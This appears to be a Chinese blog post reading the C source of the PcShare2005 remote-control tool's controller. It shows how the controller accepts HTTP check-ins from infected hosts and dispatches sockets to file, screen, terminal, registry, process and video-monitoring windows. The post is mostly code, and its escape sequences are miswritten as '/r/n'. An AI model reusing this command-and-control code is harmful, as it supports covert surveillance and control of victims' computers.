PcShare的上线信息是通过的HTTP协议的GET方式来发送的,所以我们要提取GET的URL(上线信息),先接收完整的HTTP Header,它以"/r/n"结尾,然后提取'/'和"/r/n"之间的上线信息,这个信息经过了BcdToAsc编码,所以需要解码

int AcceptClientMain(SOCKET s,LPCLIENTITEM pData)
{
char ch = 0;
int nlinelen = 0;
char slinedata[8192] = {0};
int ret = 0;

//接收完整Http头
while(1)
{
   //接收一个字符
   ret = recv(s,&ch,1,0);
   if(ret == 0 || ret == SOCKET_ERROR || m_MainValue.m_IsMainExit)
    return -1;

//提取数据
   slinedata[nlinelen] = ch;
   if(nlinelen >= 4 &&
    slinedata[nlinelen] == '/n' &&
    slinedata[nlinelen - 1] == '/r' &&
    slinedata[nlinelen - 2] == '/n' &&
    slinedata[nlinelen - 3] == '/r')
    break;

if(nlinelen++ > 8000)
    return -1;
}

TRACE("%s/n",slinedata);

char* pFlag = strchr(slinedata,'/');
if(pFlag == NULL) return -1;
if(*(pFlag + 1) == '/')
{
   pFlag += 2;
   pFlag = strchr(pFlag,'/');
   if(pFlag == NULL) return -1;
}
pFlag ++;

//取连接类型
char m_sCommand[10] = {0};
memcpy(m_sCommand,pFlag,4);
int m_Command = atoi(m_sCommand);

//查看命令是否合法
if(m_Command > 4999 || m_Command < 3000)
   return -1;

//拷贝login数据
AscToBcd((BYTE*)(pFlag + 4), (BYTE*) &pData->m_SysInfo, sizeof(LOGININFO) * 2);
return m_Command;
}

上线信息提取后,根据首字节的COMMAND来判断该socket是干啥用的,是上线用的,还是其他功能用socket

//接收连接线程
UINT WINAPI MyChildThread(LPVOID lPvoid)
{
//交易处理
SOCKET s = (SOCKET) lPvoid;
CLIENTITEM m_ClientItem = {0};
int nCmd = AcceptClientMain(s,&m_ClientItem);
if(nCmd == -1)
   closesocket(s);
else if(nCmd == CONN_MAIN) //上线SOCKET
   LoginTrans(s,&m_ClientItem);
else                       //功能SOCKET
   InterTrans(s,&m_ClientItem,nCmd);

return 0;
}

上线用的签到socket,在主窗口上显示上线信息
void LoginTrans(SOCKET s, LPCLIENTITEM pData)
{
//回送确认包头信息
if(!SendKeepAlive(s)) return;

//启动套接字关闭事件通知
if(WSAAsyncSelect(s , m_MainValue.m_MainhWnd ,
   WM_CLOSEITEM , FD_CLOSE) == SOCKET_ERROR)
{
   closesocket(s);
   return ;
}

//填充客户信息
sockaddr_in m_addr = {0};
int addrlen = sizeof(sockaddr_in);
getpeername(s,(sockaddr*) &m_addr,&addrlen);
char mTid[9] = {0};
memcpy(mTid, pData->m_SysInfo.ID, 8);

sprintf(pData->m_Title,"%d.%d.%d.%d:%s",
    m_addr.sin_addr.S_un.S_un_b.s_b1,
    m_addr.sin_addr.S_un.S_un_b.s_b2,
    m_addr.sin_addr.S_un.S_un_b.s_b3,
    m_addr.sin_addr.S_un.S_un_b.s_b4,
    mTid);
pData->m_WorkSocket = s;

//通知主框架建立了连接
if(!SendMessage(m_MainValue.m_MainhWnd ,
   WM_ADDCLIENT, (WPARAM) pData , 0))
{
   closesocket(s);
}
}

功能用的socket,通过窗口名,绑定到相应的窗口上
void InterTrans(SOCKET s,LPCLIENTITEM pData , int ExecType)
{
//定位窗口唯一标识
sockaddr_in m_addr = {0};
int addrlen = sizeof(sockaddr_in);
getpeername(s,(sockaddr*) &m_addr,&addrlen);
char mTid[9] = {0};
memcpy(mTid, pData->m_SysInfo.ID, 8);
sprintf(pData->m_Title,"%d.%d.%d.%d:%s",
    m_addr.sin_addr.S_un.S_un_b.s_b1,
    m_addr.sin_addr.S_un.S_un_b.s_b2,
    m_addr.sin_addr.S_un.S_un_b.s_b3,
    m_addr.sin_addr.S_un.S_un_b.s_b4,
    mTid);

//确定命令对应窗口
char m_WndName[256] = {0};
if(ExecType == CONN_FILE_UP || ExecType == CONN_FILE_DL)
{
   //文件传输
   sprintf(m_WndName,"PCSHELL文件管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_MANA_SEND)
{
   sprintf(m_WndName,"PCSHELL文件管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_MANA_RECV)
{
   sprintf(m_WndName,"PCSHELL文件管理-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_FRAM_SEND)
{
   sprintf(m_WndName,"PCSHELL屏幕监控-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_FRAM_RECV)
{
   sprintf(m_WndName,"PCSHELL屏幕监控-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_TLNT_SEND)
{
   sprintf(m_WndName,"PCSHELL超级终端-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_TLNT_RECV)
{
   sprintf(m_WndName,"PCSHELL超级终端-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_REGD_SEND)
{
   sprintf(m_WndName,"PCSHELL注册表管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_REGD_RECV)
{
   sprintf(m_WndName,"PCSHELL注册表管理-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_PROC_SEND)
{
   sprintf(m_WndName,"PCSHELL进程管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_PROC_RECV)
{
   sprintf(m_WndName,"PCSHELL进程管理-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_SERV_SEND)
{
   sprintf(m_WndName,"PCSHELL服务管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_SERV_RECV)
{
   sprintf(m_WndName,"PCSHELL服务管理-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_MULT_SEND)
{
   sprintf(m_WndName,"PCSHELL视频监控-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_MULT_RECV)
{
   sprintf(m_WndName,"PCSHELL视频监控-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}

Sleep(500);

//查找窗口
HWND hWnd = FindWindow(NULL,m_WndName);
if(hWnd == NULL)
{
   Sleep(2000);
   hWnd = FindWindow(NULL,m_WndName);
   if(hWnd == NULL)
   {
    closesocket(s);
    return;
   }
}

//拷贝套接字
DWORD pId = 0;
GetWindowThreadProcessId(hWnd, &pId);
WSAPROTOCOL_INFO m_SocketInfo = {0};
if(WSADuplicateSocket(s, pId , &m_SocketInfo))
{
   closesocket(s);
   return ;
}

//发送套接字到进程
COPYDATASTRUCT ct = {0};
ct.lpData = &m_SocketInfo;
ct.cbData = sizeof(WSAPROTOCOL_INFO);
ct.dwData = ExecType;
SendMessage(hWnd,WM_COPYDATA,0,(LPARAM) &ct);
closesocket(s);
}

PcShare也山寨

PcShare2005代码阅读(2)相关推荐

  1. ORB_SLAM2代码阅读(5)——Bundle Adjustment

    ORB_SLAM2代码阅读(5)--Bundle Adjustment 1. 说明 2. Bundle Adjustment(BA)的物理意义 3. BA的数学表达 4. BA的求解方法 4.1 最速 ...

  2. ORB_SLAM2代码阅读(3)——LocalMapping线程

    ORB_SLAM2代码阅读(3)--LocalMapping线程 1.说明 2.简介 3.处理关键帧 4. 地图点剔除 5. 创建新的地图点 6.相邻搜索 6.剔除冗余关键帧 1.说明 本文介绍ORB ...

  3. ORB_SLAM2代码阅读(4)——LoopClosing线程

    ORB_SLAM2代码阅读(4)--LoopClosing线程 1.说明 2.简介 3.检测回环 4.计算Sim3 4.1 为什么在进行回环检测的时候需要计算相似变换矩阵,而不是等距变换? 4.2 累 ...

  4. ORB_SLAM2代码阅读(2)——tracking线程

    ORB_SLAM2代码阅读(2)--Tracking线程 1. 说明 2. 简介 2.1 Tracking 流程 2.2 Tracking 线程的二三四 2.2.1 Tracking 线程的二种模式 ...

  5. ORB_SLAM2代码阅读(1)——系统入口

    ORB_SLAM2代码阅读(1)--系统简介 1.说明 2.简介 3.stereo_kitti.cc 4.SLAM系统文件(System.cc) 4.1 构造函数System() 4.2 TrackS ...

  6. 深度学习项目代码阅读建议

    点击上方"小白学视觉",选择加"星标"或"置顶" 重磅干货,第一时间送达本文转自|机器学习实验室 犹豫很久要不要把读代码这个事情专门挑出来写 ...

  7. JavaScript权威Douglas Crockford:代码阅读和每个人都该学的编程

    作者:Peter Seibel 关于JavaScript Seibel:在程序学习之路上有哪些令你后悔的事情? Crockford:我了解一些语言,但却一直没有机会使用.我花了不少时间学习APL并了解 ...

  8. MFC按钮CXPButton类,代码阅读起来还是挺不错的

    在操手MFC的时候,经常会抱怨MFC界面不如其他的框架或语言,比如VB,C#等等,面对MS在系统上的不断更新换代,我们也越来越追求软件的视觉效果,譬如我们会更喜欢win7下的玻璃效果,看起来很炫. 在 ...

  9. 《代码阅读方法与实践之读书笔记之一》

    <代码阅读方法与实践之读书笔记之一> 阅读代码是程序员的基本技能,同时也是软件开发.维护.演进.审查和重用过程中不可或缺的组成部分.<代码阅读方法与实践之读书笔记之一>这本书围 ...

  10. 《代码阅读方法与实践》阅读笔记一

    第三本书我选择了代码阅读方法与实践,说实话,觉得三本书里面最好的就是这一本书了,每一段话,每一段代码打偶让我受益匪浅.下面是我的收获: 1.1为什么以及如何阅读代码  将代码作为文献:要养成一个习惯, ...

最新文章

  1. LeetCode946-验证栈序列
  2. python游戏编程入门下载-Python游戏编程入门 中文pdf扫描版|网盘下载内附地址提取码|...
  3. 「力扣」509. 斐波那契数【动态规划】详解!
  4. 英国电信推出FTTP和G.fast新试点项目
  5. BilSTM 实体识别_“万创杯”中医药天池大数据竞赛——中药说明书实体识别挑战的一点感受...
  6. 百度年龄计算机在线使用,百度年龄计算器app
  7. 终结解决方案之最:struts2整合jasperreport再现图片无法显示
  8. 【BZOJ5285】【HNOI2018】寻宝游戏
  9. Hack The Box——Academy
  10. equal和==的区别
  11. java软电话_软电话使用呼叫中心的方法与流程
  12. 中国移动集团史正军:论支付能力的重要意义及我们要发展什么样的支付?
  13. 2021年英语六级翻译
  14. android manifest相关属性
  15. 大数据建模 需要了解的八大定律
  16. 基于SSM框架的图书馆借阅管理系统
  17. 图片聚类——k-means算法的python实现
  18. 用友T6显示连接服务器出错,用友T6软件“无法连接到服务器”,出现提示:“运行时错误‘48’:文件未找到:Client.Dll”...
  19. DWL-2100AP 默认登录帐号密码
  20. el-from表单验证(数字,中文,手机号,邮箱,英文)

热门文章

  1. 【AI初识境】从3次人工智能潮起潮落说起
  2. VMware虚拟机安装Windows Server 2008 R2
  3. CoppeliaSim(vrep)弹簧模型
  4. 小白系统初始化配置资源失败怎么办
  5. 2.5 柱面 (1)
  6. Findbugs异常总汇
  7. IEEE会议论文-Font Helvetica is not embedded
  8. EDA技术及应用实验2 h_adder程序
  9. Vue音乐播放器入门Demo及Vue环境搭建运行
  10. Unity 安装个人免费版步骤详解